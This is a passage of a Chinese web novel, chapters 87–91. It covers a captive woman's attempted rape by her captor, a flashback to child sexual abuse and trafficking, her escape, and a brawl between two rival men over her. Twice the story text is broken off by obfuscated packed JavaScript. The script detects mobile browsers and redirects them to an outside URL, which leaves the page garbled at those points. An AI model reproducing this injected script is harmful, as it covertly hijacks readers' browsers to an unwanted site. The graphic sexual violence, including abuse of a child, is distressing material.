白楚年看着她,摇了摇头:“宝贝,我这不是自以为是,我这是无微不至。” 他给她安排的新身份,有一条完整的记录档案。 就算沈家要查,也查不出什么。 至于长相。 世界上长得相似的人多了去了。 “白楚年,我最讨厌别人对我的人生指手画脚,我的未来不需要你来规划,你还是省省力气,养好自己的身体吧。” 菘蓝冷冷地看着白楚年。 她一定要逃出去。 她不会被任何人豢养的。 荣华富贵固然诱惑,可如果要是当住在纯金鸟笼里的金丝雀,她可不愿意。 她不是金丝雀,她是一只麻雀。 不自由,毌宁死的麻雀。 白楚年直接忽略了她的前半句,有些开心道: “谢谢你关心我的身体,只要你不气我,我能跟你白头偕老,还能跟你生八个孩子。” “噗嗤......” 菘蓝没忍住笑出了声。 白楚年:“怎么?你笑什么?” 菘蓝:“我笑你一定会英年早逝。” 白楚年危险地眯起眸子,他伸手捂住菘蓝的嘴: “你说的话,没有一句是我爱听的。 从现在开始,你不许说话了。 你说一句话,我就吻你一次。 你说两句话,我就吻你两次。 你说三句话,我们现在就洞房。” 一句现在洞房,瞬间让菘蓝老实了,她身体往后缩了缩,顿时不说话了。 看到她的模样,白楚年心头顿时涌起一阵酥酥麻麻的酸意。 他看着菘蓝,红着眼睛道: “你就这么怕?就这么不想我碰你?” 菘蓝垂着眸子,睫毛微微颤了颤。 白楚年有些生气,拽着她的手,按在自己胸膛上: “我腹肌也很大的,我腰也很好,我也很有力气。” 他抓着菘蓝的手,缓缓往下滑: “你要不要现在试试?我能保证比他还爽。” 门口。 一双乌溜溜的小眼睛眨巴眨巴,豆豆不知道什么时候偷偷跑了过来,他探着小脑袋往里看: “哥哥,你们在做什么?” 第八十七章 她应激了 “你......你快放手,豆豆在看着。” 白楚年一直按着菘蓝的手,往自己小腹处滑,她隔着布料能清楚感知到,他人鱼线处绷起的肌肉和巨大轮廓。 她的脸像火烧云,红透了半边天。 “宝贝,你未经我同意,开口说了三句话了。” 他垂眸看着她,声音哑得发沉。 菘蓝惊讶地瞪大了双眼。 啊?她什么时候说了三句话? 不是,就算把标点符号算上,那也没有三句话啊! 白楚年朝门口喊了一声,闻讯赶来的保姆立刻把豆豆抱走了。 他紧紧圈着她,贴着她的耳廓吐息: “婉婉,你试试我的呢?绝对比他的爽。” 菘蓝要疯了。 她试个屁啊,她没有义务为男人莫名的胜负欲买单。 “你滚呐!” 她在他怀里挣扎。 “第六句了,惩罚加倍,婉婉,今夜,我要你爱上我。” 他垂眸看着怀里的人儿,眼底翻涌着浓浓的占有欲和控制欲。 今晚,他要彻彻底底的得到她。 只有得到她,他才能把心里缺失的东西填满。 察觉出男人是来真的,菘蓝慌了。 她拼命拍打、踢咬、撕扯,她的指甲狠狠陷进他刚结痂的鞭痕中,掐得他血痂破裂。 他连眉头都没有皱一下。 他现在兴奋极了,奔流的血液一股股涌向大脑。 她越挣扎,他越兴奋。 她越拒绝,他越想得到。 他骨子里的施虐因子又开始疯狂滋长。 施虐和受虐其实是相通的。 一种是通过折磨他人来抵御绝望,本质是一种扭曲的爱。 另一种是通过被人折磨来抵御忽视,本质是渴望被爱。 在这几天的精神折磨中,他在施虐和受虐中来回切换,他也彻底疯了。 他害怕她真的在意别人,真的喜欢上了别人。 这些,比她不爱他,还让他绝望。 他像一头失去理智的野兽,将擒住的猎物狠狠压在身下。 撕裂的布料声清脆刺耳,撕破了夜色的长空。 她白皙的皮肤暴露在冰冷的空气中,额头的冷汗和眼尾的泪水凝成一缕绝望。 她扯着床单遮住身体,红着眼睛咒骂: “白楚年,你个混蛋,你这样只会让我恨你,看不起你。” 他披着长发,眼底猩红一片,绝美的脸笑得扭曲又疯狂。 “恨我也行,对我来说,恨也是爱。” 她的激烈反抗,在具有压倒性身体优势的男人面前不堪一击。 他一招就按得她动弹不得。 他的手在她的后背肆意游移,他捉住她小衣的肩带,轻轻一扯。 啪得一声脆响,她的肩带断了,脑子里紧绷的那根弦也断了。 她又听到了一声脆响。 “啪!” “小杂种,白眼狼,养你这么久,你居然举报我?还好这事被学校压下了,不然我就毁了。” 她被狠狠扇了一耳光,小小的身子倒在地上,耳朵留着血。 她发现她听不见咒骂声了。 她被人揪着头发拉了起来,又被人狠狠一巴掌扇到地上。 她裙子上的背带,被人狠狠往下一拽,碎成了破布。 那是她唯一一条裙子,是离开孤儿院时,院长爷爷送的礼物。 男人粗糙的手蹂躏着她娇嫩的皮肉,像恶狼一样在她身后喘息。 她的挣扎没有任何用。 疼痛、屈辱、惊恐和绝望,把她拖入黑暗。 等她清醒过来的时候,发现满屋子都是血。 她的手里握着破碎的瓷块,瓷块锋利的边缘深深陷进她的掌心。 男人解了一半的皮带拖在地上,他捂着血流如注的左眼痛苦哀嚎。 邻居报了警。 她被送回了养父养母身边,然后又遭到了一顿毒打。 因为被她刺伤的那个人,是她养母的弟弟。 后来,她被一辆车带走了。 养父养母对外说是把她送回福利院,其实他们把车开进了大山。 她被卖了。 痛苦、窒息、黑暗的回忆像决堤的潮水,瞬间冲垮了她的神经。 无尽的冷意和恶寒涌上心头,她弓着发颤的身子,不停干呕。 “呕......” 她呕得满脸通红,呕得痛哭流涕,似乎要把灵魂呕出身体。 “婉婉.....你怎么了......” 白楚年被她一边发抖一边流泪干呕的样子吓坏了。 她情绪崩溃了。 “滚开!不要碰我!” “不要......舅舅不要......我错了.......” “我没有撒谎!我没有骗人!我说的是真的!” “别打我了,我听话......我一定听话......对不起.......” 她一会瑟瑟发抖地拽着被单求饶,哭喊着道歉。 一会又瞪着眼睛,怒目而视,满脸倔强。 她空洞的眸子里,流出细细密密的绝望。 看到她这幅模样,白楚年的心像是被什么东西狠狠撞了一下,痛到无法呼吸。 他试图安抚她,声线颤抖: “婉婉......你别害怕,我不碰你了。” 他给她披上衣服。 她像一只被暴雨淋湿的鸟儿,耷拉着脑袋,浑身抖个不停。 “婉婉,你怎么了?你身体不舒服吗?” 他靠近她,试图把她抱进怀里。 结果,他的手刚触碰到她的肩膀,她的嗓子发出一声尖细凄厉的暴鸣。 “啊!!!!” .......... 卧室的门被撞开。 她披着衣服跌跌撞撞地跑到走廊里,腿上全是血。 守在大厅的保镖看到她衣衫不整地冲出来,全都愣住了。 这出血量...... 这夫妻俩玩得这么刺激吗? 后一秒,白楚年也从卧室里冲了出来。 他捂着胸口,面色惨白,身上的衣服被鲜血浸湿。 看清楚他心口插着一根钢笔后,保镖们脸色齐齐一变。 “少爷!” 别墅里乱成了一锅粥,所有人都朝他跑了过去。 白楚年依着墙,艰难地伸出手,指向逃跑的菘蓝: “抓住她.......别让她......别让她跑到外面去.......” 说完,他捂着心口缓缓倒下。 在昏迷前,他反复叮嘱道:“你们别伤了她,千万别伤了她.......” 第八十八章 你又要丢了我 别墅里,乱成一团。 一部分人忙着救人,一部分人忙着追人。 菘蓝光着脚跑到阳台,推开落地窗,一脚踏了出去。 一股独特的冷冽气息扑面而来,室外的地板冰冷刺骨,结着一层薄薄的寒冰。 外面下着雪。 漆黑的夜幕雪花点点,风一吹,成了零落的花瓣,缓缓落在树上,枝头覆了白。 槐树的枝桠堆了一层厚厚的雪,在黑夜里发出轻微的断裂声。 身后的人在逼近。 她没有犹豫,一跃而下,跳到老槐树最粗的枝干上,然后脚下一蹬,借力跳到了围墙外的花园。 花园铺着青石板,青石板上结了冰,她落脚的时候滑了一下,扑通摔进了一堆雪里。 “呜哇,我的雪人,你把我的雪人坐碎了。” 花园的角落里,穿得圆卜隆冬的豆豆,扯着嗓子哭得很伤心。 他的帽子和围巾上落满了雪。 他是偷偷跑出来玩的,冻了半天,好不容易堆了个雪人,结果一下子被人坐碎了。 小家伙的脸蛋和鼻子都被冻得红红的,捧着一堆碎雪哭得伤心欲绝,小身子哭得一抽一抽的。 孩童的哭声,让菘蓝空洞的眼底渐渐浮出微光。 她伸出手,轻轻摸了摸豆豆的脑袋,用很温柔很温柔的声音哄道: “宝宝,不要哭.......” 宝宝,不要哭。 她抱了抱豆豆,就像隔空抱着当年的自己。 豆豆抬头愣愣地看着菘蓝。 她温柔的神情和语气,让他想到了经常抱着他,哄他睡觉的婉婉嫂嫂。 她们有着一样漂亮的眼睛。 一阵纷乱的脚步声在花园里响起。 追来的保镖队长看到豆豆的时候愣了一下。 “小少爷,你怎么跑到这来了?外面这么冷。” 豆豆手里捧着一个精致的小雪人,献宝一样递到保镖队长面前:“看,可爱吧。” 小雪人被精心装饰过。 脑袋上戴着一个小小的腊梅花环。 保镖队长竖起大拇指:“这花环编得真精致,小少爷真厉害。” 随后,他看向地面杂乱的成人脚印,问道:“小少爷,刚刚翻墙跳进来的人去哪了?” 豆豆指了指墙头,眨巴眨巴眼睛道: “她又翻回去了,她踩着腊梅树,像猴子一样嗖地爬到墙上了。” 保镖队长让一个人把豆豆抱回别墅,然后带着其余人往回返。 他们走后,菘蓝从旁边的假山里走出来,然后闪身消失在了雪夜里。 ............ 不知道跑出了多远。 她的脚已经被冻得没了知觉。 她披着一件薄薄的睡袍,只有脖子上的围巾能给她提供一点暖意。 小孩子的围巾还是小了点,不然她就能裹在身上了。 她顺着海边的公路,在茫茫雪夜里行走。 冷风刺骨,寒风像刀子一样刮着她的皮肉。 雪越下越大,她的步伐越来越小。 她好冷,冷得甚至不敢呼吸。 因为一呼吸,冷气就被吸进了身体里,成了一坨化不开的冰。 远处,驶来一辆吉普车。 车子冒雪前行,车灯推开夜暮,在雪地里洒下一片温暖的光。 她伸出手,费力地挥动了两下,然后眼前一黑,倒进了雪里。 “少爷,前面有人拦车,那人好像还晕倒了。” 车子里的少年缓缓抬眸,在看到雪地里的身影后,瞳孔猛地一颤。 他像疯了一样推开车门,扑到雪地里。 姐姐! 是姐姐! 他终于找到姐姐了! 几天前,他听到菘蓝坠海的消息,不是担心和害怕而是生气。 他知道她又跑了,他气的是她跑的时候不带上他。 他明明和姐姐约定过。 等她办完事,她就跟他在一起。 所以,当沈错出海救人的时候,他就在陆地上找人。 雪停了。 菘蓝安静地躺在雪里,就像睡着了一样。 许生试探完她的鼻息后,松了口气,随即脱下羊绒大衣,紧紧裹住她的身体,然后小心翼翼地抱着她上了车。 车内的暖气开到了最大。 她冰冷的身体开始回温,头发上的雪化成了小小的水珠,看着像蒙了一层细雾。 除了轻微的冻伤,许生还发现她的手腕和脚腕上有明显的捆绑痕迹。 是谁! 是谁伤了姐姐? 谁敢这样对待他的姐姐! 一向温顺的少年眸中爆发出凌人的戾气,吓得车里的司机打了个寒颤。 司机:“少爷,我们去哪,是去医院还是?” 许生想了想,飞速比划了一个手势: 【去青藤公馆,不跟任何人说,母亲也不行。】 司机点了点头:“少爷放心。” ........... 菘蓝整整昏迷了两天。 许生寸步不离地陪在床边,给她喂药,喂水,悉心照料。 在这期间,她一直发烧,说胡话。 “不要.......不要碰我........” “对不起,爸爸妈妈,我错了,不要再打我了。” “他们不是我父母,我也不要跟你们走!” “不要打我了,我会乖乖听话的,我不逃了........” 支离破碎的话语,每一句都听得人心惊。 许生难以想象她的梦有多么可怕。 他紧紧抱着她,想轻声哄她,安慰她,告诉她不要害怕,告诉她他会打跑坏人保护她。 可惜他是个哑巴,无法说话。 他的声音无法传达。 他只能像哄小婴儿入睡一样,轻轻拍着她的背,努力安抚她的情绪。 第三天的时候,菘蓝退烧了。 她缓缓睁开眼,看到自己身上盖着柔软的羽绒被,手上和脚上都敷着药膏。 她一转头,看到许生趴在她床边,身上盖着的毛毯,有一半滑到了地上。 少年的眼睛轻轻阖着,长而卷翘的睫毛下投着一片青灰色的阴影,一副好几天没睡觉的样子。 窗外的雪停了,太阳挂在天边,世界灿烂耀眼。 她想了想,穿好衣服,捡起掉落的毛毯,轻轻披在许生肩头,然后拎着鞋子,光着脚走到门口。 正当她推门准备离开的时候,一下子被人拽进了怀里。 许生红着眼睛看着她,缓缓比划道: 【姐姐,你又要丢了我。】 第八十九章 去查许生 许生看着菘蓝,微垂的狗狗眼蓄着雾气,点点碎亮的水珠挂在睫尖上,湿漉漉的一片。 他像一只被主人丢弃的无家可归的小狗,伤心、委屈、又无奈。 菘蓝动了动唇:“我.....我......屋里太热了,我只是想出去走走。” 她最受不了他这种眼神了。 撒个小谎好像能减轻一下不辞而别的负罪感。 听到她这样说,许生的眸子瞬间明亮起来,如同天光乍破,登时熠熠生辉。 他开心地抱住她在屋子里转了好几个圈。 她的裙摆像花朵一样在房间里绽放。 少年眼底燃着生生不息的光,他紧紧抱着她,就像抱住了全世界。 看着悲伤小狗瞬间成了开心小狗,菘蓝心底的愧疚感更浓了。 这小哑巴还是这么好骗。 “啊,好了好了,你快放我下来,你都把我头转晕了。” 她轻轻拍了拍他的肩膀,眼底透着疲意。 她的身体还没有恢复过来,没什么力气。 这几天,反复切换人格,消耗了她太多精神力,气血亏虚得很。 许生连忙停下,小心翼翼地把她抱到床上,比划道: 【姐姐,发生什么事,这些天。】 他指了指她手腕和脚踝的勒痕,气红的眼睛飞速掠过一抹狠戾。 他不允许任何人伤害他的姐姐。 凡是伤害她的人,都得死! 菘蓝蜷着的手心微微缩了缩,她抿着唇,没有说话。 这几天发生的事,她还真不好解释。 她想了想道:“没什么,被以前的仇家绑了,然后逃出来了。” 她是怎么逃出来的,她自己其实也不知道。 她只知道那天晚上,她又失控,然后进入解离状态了。 每次这样,她都记不得当时发生了什么。 许生低头看着菘蓝手腕上的伤,垂着长长的睫毛,掩住眼底一闪而逝的杀机。 他比划道: 【姐姐,我们的仇人是谁。】 菘蓝眼神飘忽了两下,很认真道: “没事了没事了,已经解决了,他们以后不会找我麻烦了。” 许生垂着头,额前的微分碎盖遮住了眼眸,让人看不清神色。 几秒钟后,他抬起头,纯净澄澈的眼睛眨了眨,开心地比划道: 【那就好,姐姐安心养伤,我陪你。】 转身,他就给人发了信息: 【姐姐那晚的路线,速查。】 姐姐不肯说,他就不会再问,他会自己一点点查。 ** 许生像照顾小婴儿一样照顾着菘蓝。 给她洗头发,吹头发,给她做饭,煲汤,给她剥虾,喂饭,喂水,敷药膏。 他舍不得让她下床走一步路。 甚至连上洗手间,他都要把她抱进去,然后贴心地为她关上门。 菘蓝很无语:“不要这么夸张,我的手脚只是受了点伤,又不是断掉了。” 她感觉自己像是被当成残疾人对待了。 每次她这样说,许生都会垂下圆润的狗狗眼,用一种很委屈很无辜的表情看着她,像是不小心做了什么坏事一样。 百分百吃软不吃硬的菘蓝,对上这样的许生也只能败下阵来,用很无奈的语气道: “好好好,随你随你。” 然后许生就会变得无比开心,像只快乐小狗一样围着她转。 他陪她一起看无聊的肥皂剧,陪她一起打游戏,陪她一起发呆,陪她一起看着冰凌一点点融化。 可是,每当菘蓝提出想要手机的时候,他就会开始推三阻四。 菘蓝感觉出来了,他有意不想让她跟外面联系,也不想让她知道外面的消息。 他应该是害怕,她拿到手机跟外面取得联系后,又会偷偷走掉。 她想把电视调到新闻频道,想看看讯息,结果每次调到新闻频道,画面就开始卡顿,然后跳转到别的节目。 “你二十四小时都在这里陪我,阿姨不会发现什么吗?” 一想起许生那个雷厉风行的母亲,她就有点发怵。 那位啊,是真的不好招惹。 许生比划着手势: 【她有事,在忙。】 许生的母亲是军事政坛的大人物,常年在外工作,奔波于各个基地。 她很放心把许生交给沈错,所以极少过问。 菘蓝想了想,又问道:“那.....沈家现在是什么情况?你哥哥还好吗?” 上次她看新闻,听到沈错顶着雷暴天出海寻她,结果触礁翻船。 她心里,还是有一点点担心的。 许生不怎么喜欢从菘蓝嘴里听到沈错两个字,他抿了抿唇,简短地比划道: 【他没事。】 沈错这些天几乎把橘子海翻了底朝天。 打捞上来无数艘沉船残骸,十几具无人认领的腐烂遗体,甚至连落水者都救了七八个。 但唯独没打捞到菘蓝半点消息。 海上,搜救艇。 李顺看着双眼布满血丝的沈错,讷讷道: “少爷,您要不回去休息吧,您都七天没阖眼了,这样身体会熬不住的........” 沈错咬着烟,目光搜寻着海面,头也不回地骂道: “你说什么屁话!” 李顺缩了缩脖子,拿望远镜看了看: “咦!少爷,前面好像是周家表叔的船,他也在这边海域找,他好像也找了好几天了。” 沈错看向前方的船只,眯着眼抽了口烟,讥讽道: “呵,这么积极,不知道的,还以为是他老婆丢了。” 突然,他像想起什么,猛然转头看向李顺,问道: “许生这几天在干什么?” 李顺想了想道: “额额,许生少爷前两天也在帮忙找,他没下海,只是在岸上,这两天估计是觉得天冷,好像没帮忙找了。” “没找了?” 沈错眉头一蹙,目光骤然缩紧。 李顺点点头:“对呀对呀,不过您也别怪许生少爷,毕竟这天太冷了,一出门耳朵都要冻掉了。” “他在哪?” 沈错的目光如鹰隼般明亮,透出看破一切的锐利。 李顺:“啊?许生少爷吗?他好像还在海都,只是没回沈园了。” 沈错立即叫停搜救艇:“返航!去找许生。” 李顺愣了愣:“啊?找许生少爷干嘛?不找少夫人了吗?” 沈错冷笑一声:“呵.......” 第九十章 修罗场前奏 青藤公馆。 菘蓝窝在沙发上撸猫。 许生怕她闷着,去宠物店带回了一只德文卷毛猫。 小猫品相很好,小脑袋,圆眼睛,大耳朵,精致得像是从漫画里跑出来的。 许生在一旁剔车厘子核,他把剔好核的车厘子一颗颗摆到盘子里,再挨个往空心处挤上奶油。 红润饱满的车厘子夹着奶油心,看着就好吃。 菘蓝抱着小猫,凑到许生旁边,歪头盯着奶油车厘子,她刚要上手去拿,被许生挡了回去。 他比划着手势: 【姐姐别动,我喂你。】 他叉起一颗车厘子,送到菘蓝嘴边,澄澈圆润的双眼漾起笑意。 他特别喜欢喂她吃东西。 看着她一点点把食物吃进肚子,他有一种莫名的幸福和满足感。 车厘子很甜,混合着奶香,在口腔里爆汁,吃起来很上瘾。 “真好吃。” 菘蓝唇角勾起,笑得眉眼弯弯。 她的唇瓣沾了红色果汁,散发着诱人的香甜,嘴角还残留着一抹奶油。 许生看着她,喉结轻轻滚动了两下。 他伸出右手,贴心地为她擦去嘴角的奶油,然后悄悄把手藏在身后。 趁菘蓝转头撸猫的功夫,他走到阳台,背过身去,偷偷舔了舔沾着奶油的手指。 幻想着她唇瓣的味道。 他不敢当面那样做,他害怕惹她生气。 他对她做过最疯狂的事情,就是确认她身份那一天,躲进她的更衣室,将她狠狠抵在墙上,咬了一下她的锁骨。 “你在干什么?” 菘蓝突然在他身后出现,怀里抱着小猫,一脸好奇地看着他。 许生吓得浑身一激灵,慌忙把手背在身后。 他耳根子瞬间变得通红,眼底闪烁着像被人发现阴暗心思的窘迫。 菘蓝:“把手拿出来,我看看。” 他悄悄在背后蹭掉水渍,然后递出双手,接受审查。 看到他两手空空,并没有什么奇怪的,菘蓝抱着小猫转身离开。 他垂下睫毛,心虚地咽了咽口水。 他好害怕被姐姐当成变态啊。 菘蓝很喜欢那只小德文,她亲手给它做了一个猫窝。 小小的纸箱子,里面铺上厚厚的毛毯,箱子外面用黑色签字笔画了好几只可爱的猫猫头。 箱子的洞口,还写着“猫猫之家”。 许生有点酸。 他还没有收到过姐姐亲手做的东西。 认识了这么久,他好像还不如一只猫。 他委委屈屈地坐在旁边,看着菘蓝忙活,还时不时给她递剪刀,递签字笔。 猫窝完工后,菘蓝回头一看,看到许生正愤愤不平地瞪着小猫。 他不敢对菘蓝发火,就把怒气都撒到了小猫身上。 小猫被他吓得躲在沙发底下不敢出来。 菘蓝气笑了:“你干嘛瞪它。” 许生红着眼尾,撇过头不说话。 “你怎么啦?” 菘蓝推了推他的肩膀,语气温柔得像在哄小孩子。 听出她语气中的宠溺,许生心中暗喜。 他还是没回应,像受了委屈一样,红着眼睛偏头看向窗外。 “你突然怎么啦?” 菘蓝没搞明白,好好的一个人,怎么说生气就生气了。 她拧了拧眉。 “回答我,不许不理我。” 许生转过身,低头看着她,指了指猫窝,比划着手势道: 【姐姐没送过我,你做的东西,猫有,我没有。】 “噗.......” 菘蓝被逗笑了。 “那我也给你整一个?” 许生飞快地点了点头。 猫有,他也要有。 马上就是他的生日了,他想在生日那天,收到姐姐亲手做的礼物。 菘蓝想了想道: “好吧,让我思考一下,给你做个什么手工礼物。” 许生的眼睛一下子亮了。 他又开心地抱着菘蓝在客厅里转圈圈。 “好了好了,别转了,放我下来,我要晕了。” 她轻轻推了推许生的肩膀。 许生把她放到沙发上,双手撑着下巴,一脸幸福和满足地看着她。 少年的爱意炽热纯粹,像穿过薄雾的晨光照耀在大地上,在那一瞬,万物开始生长。 与此同时。 青藤公馆楼下。 “对不起,青藤公馆,禁止外人入内。” 守卫拦住了满身寒霜的沈错。 青藤公馆是许生爷爷当外交官时的临时办公点,这里现在虽然不是办公地点了,但私密性依旧极高。 沈错冷冷看了守卫一眼,然后打了个电话。 没一会,守卫就接到了来自国厅级的放行通知。 守卫想了想,准备打电话告知一下许生少爷,结果手还没碰到电话,就被人扣住了。 青藤公馆的洋房里。 菘蓝隔着玻璃房子,惬意地窝在沙发上晒太阳。 许生挨在她旁边,给她检查手腕和脚踝的恢复情况。 她的伤疤淡了一些,过两天就完全愈合了。 等养好身体,她还是要走的。 她现在不知道白楚年那边是什么情况,也不知道沈家那边具体是什么情况。 不管这两家现在是啥情况,海都她都待不下去了。 事情没有挑明还好。 事情要是挑明了,沈家、白家、许家可能都不会放过她。 她还要出去通知徐家,让徐家做好应对的准备。 她静静等着许生敷完药膏,然后捧着他的脸,很认真道: “许生,我不想骗你,我是必须要离开的,很谢谢你对我的照顾。” 一听到她要离开,少年像是应激了一样,一把将她拉进怀里,紧紧抱着她。 他的眼睛瞬间湿润,一边哽咽一边疯狂摇头。 【不要,姐姐不要离开。】 他虽然才19岁,可是却高了菘蓝两个头。 他的力气也极大,菘蓝在他怀里,想挣扎都挣扎不了。 她没有挣扎,乖顺地任由少年抱着,感受着少年胸腔处翻涌的呜咽。 就在这时。 房间的门突然被人一脚踹开。 两人下意识回头,看到沈错一脸阴沉地站在门口。 他风衣的衣领上凝满了白霜,翻飞的衣角裹挟着海风的咸腥与凛冽。 他偏头看着许生怀里的菘蓝,泛红的双眸翻滚着震惊、欣喜、疑惑与不解。 他抬眸再看向许生的时候,双眸溢满了愤怒: “好弟弟,你该怎么给我一个解释?” 第九十一章 抱我老婆舒服吗 男人周身气压瞬间降低,锐利冷酷的双眸像刀子一样,似乎要将人剔骨、扒皮、剜心。 他明明很生气,可嘴角依旧噙着淡淡的笑意。 笑得冷白色的皮肤一片片紧绷,像压实的雪。 突如其来的“惊喜”,吓得菘蓝的肩膀下意识颤了颤,她像扇动翅膀的蝴蝶,轻易煽动了许生心底的龙卷风暴。 姐姐在害怕。 他要保护姐姐! 作为她的男人保护她! 少年顿时气场全开,澄澈的眉眼瞬间变得凌厉,直直迎上对方充满杀气的眼神。 他抱着菘蓝的双手箍得更紧了,臂膀上的肌肉嚣张到隆起,丝毫没有当面抱别**子的背德感。 他给了她一个温柔坚定的眼神,示意她不要害怕。 不害怕是不可能的。 是个人碰到这种“捉奸”的场面都要吓**好吗。 战栗的寒意,顺着菘蓝的尾椎骨一路爬过脊背漫至头顶,撕扯着她所有的神经。 她绝望地闭着眼。 完了...... 这要怎么解释啊,根本解释不清啊。 捂了这么久的马甲还是要掉了吗。 一个白楚年就够她头疼了,现在再加上一个沈错........ 还有,许生的母亲也不会放过她的。 她完了....... 房间里静悄悄的,声音像是冻住了一样。 沈错眼底的寒意凝结成了冰。 好消息,他失踪多日的妻子找到了。 坏消息,在他好弟弟的怀里找到的。 屋里的气压比寒冷的户外低了几个度。 后面赶来的李顺等人看到这个场面,顿时瞪大了眼睛。 他......他们家少夫人怎么跟许生少爷抱在一起了。 这.....这这是出轨吗! 天塌了呀! 少夫人那娇弱的小身板能禁得住少爷一拳吗...... 在众人微妙的眼神中,沈错抬起下巴,冷冷地看向许生,从齿缝里蹦出一句: “杂种,放下她,你也配?” 众人:诶? 许生没有动,反而抱得更紧了。 菘蓝被勒得有点喘不过气,用抵在胸前手臂轻轻推了一下他。 似乎感觉到自己用力过猛,他松了松臂膀,稳稳地托着她的身子。 某人再也忍不下去了。 沈错摘下婚戒,小心翼翼地放进口袋,然后快步上前,抡起拳头冲着许生的脑袋稳准狠地砸了过去。 拳风呼啸而至。 许生害怕伤到怀里的人,急急侧退了两步,用肩膀挡下了对面的攻击。 沈错见状,劈手把菘蓝夺了过来。 菘蓝还没反应过来,就从一个男人的怀抱,落入了另一个男人的怀抱。 “啊.....” 她低低惊呼了一声。 【姐姐!】 许生怀里一空,顺势伸手去拽菘蓝的手腕,想把她夺回来。 但一想到她手腕上还有伤,他伸出去的手僵住了一下。 就在他犹豫的瞬间,沈错抬起腿,毫不留情地踹向他的心窝。 这一脚,带着十足的怒气和杀意,要是结结实实挨上了,不死也残。 少年目光一凛,在危急关头,双手交叉挡在心口,生生抗下一击,但被踹得往后退了两米。 沈错轻轻把菘蓝放到沙发上,在看到她手腕和脚腕的勒痕上后,眼底暴起一股戾气。 他抬眸看向许生,眼底猩红一片。 “畜生!” 听到这声畜生,菘蓝就知道他误会了。 她连忙去拉沈错,结果只拽到了他衣角的冷风。 沈错挽着袖子杀气腾腾地朝许生冲了过去,满身散发着不死不休的冷戾。 这一次,他要直接送对面下地狱。 谁来都不好使! 沈错矫健善战,身手是出了名的好。 许生也知道这一点,他私下也进行过很多次特训,为的就是有一天,能把一直压着他打的哥哥揍趴下。 最好是当着姐姐的面,把他打趴下。 少年热血沸腾,心中只有浓烈的战意。 沈错眯着眸子,冷酷道: “先说好,这次我不会停手,直到你死为止。” 许生干脆利落地比划道: 【来。】 两人对冲在一起,像两只互顶的雄鹿,拼了命想**对方。 “等一下!不要打!” 菘蓝急急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你,你不要误会了,许生他......他只是太担心我了,所以一直陪着我。 他也是担心你看到我受伤的样子会难过,所以想等我情况好一点之后再告诉你。” 如果可以,她还是不想把事情闹大的。 听完,沈错轻轻笑了笑。 他的指尖穿过她的发丝,缓缓摩挲着她的脸颊。 “亲爱的,你是有老公的人,你忘了这件事没关系,但别的男人不能忘。” 菘蓝脑袋晕乎乎的。 她怎么有点听不明白。 看着她一脸懵的样子,沈错突然笑了,笑着吻了她一下: “宝贝,你就是太单纯了,分不清谁是好人谁是披着人皮的畜生。 你根本就不懂男人,也不懂这世界上的男人能有多恶心。 他的龌龊心思只有我懂,他是在狠狠撬我墙角。 他救了你又把你圈在这里,无微不至地照顾你,就是想让你对他产生好感。 他是在无所不用其极地勾引你!” 菘蓝听得哑口无言。 不是...... 这人....... 沈错偏头看向一旁的许生,眼底闪烁着嗜血的笑意: “小杂种,你是**的活腻了。” 他不仅圈禁他的妻子,还试图破坏他们夫妻关系,还想引诱玷污他的宝贝。 该杀! 在一旁吃瓜的李顺悟了。 哦,不是少夫人出轨,是许生少爷对少夫人有想法。 许生少爷这事确实做得也不对。 ε=(??ο`*)))唉....... 背着哥哥偷偷照顾嫂子,这明摆了是撬墙角啊。 那这确实也不能怪少夫人。 少夫人太单纯了,不知道人心险恶,还帮着许生少爷说话。 ......... 许生滚动了两下喉结,委屈地看着菘蓝。 他才没有那么不堪。 他没有刻意勾引,也没有撬任何人墙角。 姐姐......姐姐本来就是他的。 哥哥才是后来的,才是插足的第三者,才是最无耻最卑劣最没理的那个。 小哑巴心里苦,有苦说不出。 他暗中朝菘蓝比划手语: 【姐姐,我现在能告诉他吗?】 他想告诉沈错,他跟姐姐早就认识了,而且姐姐还是他的未婚妻。 他想告诉他,他才是第三者,才是不被爱的那个。 看到许生悄悄传递的手语,菘蓝连忙摇头。 别! 现在这场面已经够乱了。 这马甲能捂一时是一时,麻烦能少一点是一点。 她还不想死,她想活着! 看到菘蓝不让说,许生立马打消了念头。 他尊重姐姐,听姐姐的话。 反正在姐姐心里,他是最重要的。 哼,其他人,都是跳梁小丑。 沈错不明白许生为什么总用一种轻蔑又得意的眼神看着他。 他非常不爽。 他转头看向旁边的李顺,吩咐道: “打电话给**妈,告诉她,以后等她老了,由我给她养老送终。” 李顺瞪大了眼睛:“啊?” 他看了看一身杀气的沈错,又看了看同样战意昂扬的许生。 是了,他确实要打电话告诉许夫人,他们兄弟俩打起来了。 不然等下估计要出人命了。 他慌慌忙忙拿出手机,跑到外面打电话。 菘蓝心头猛然一跳。 不行啊!许夫人要是知道了这事,她还有活路吗! 她想也不想,丢下屋子里打红眼的两个人,跑出去追李顺。 菘蓝一走,许生的神情马上变了。 他目光冷戾,像一头暴露野心的狼崽子,冲着兄长露出了挑衅的獠牙。 之前在医院,他被沈错揍惨了,让姐姐看到了他狼狈的一面。 今天,他要一雪前耻。 房间外面。 菘蓝追到了走廊上,她抓着扶手,喊住了正在掏手机的李顺: “李顺,别给许夫人打电话!” 李顺抬头看着她,一脸为难道: “少夫人,我要是不打电话,等下少爷会把许生少爷打死的。” 菘蓝急得跺脚: “你先别打!你这电话一打,只会把事情搅合得更糟,你是要把这件事闹得人尽皆知吗?” 李顺支支吾吾,左右为难:“可. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142505|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....可可是......” 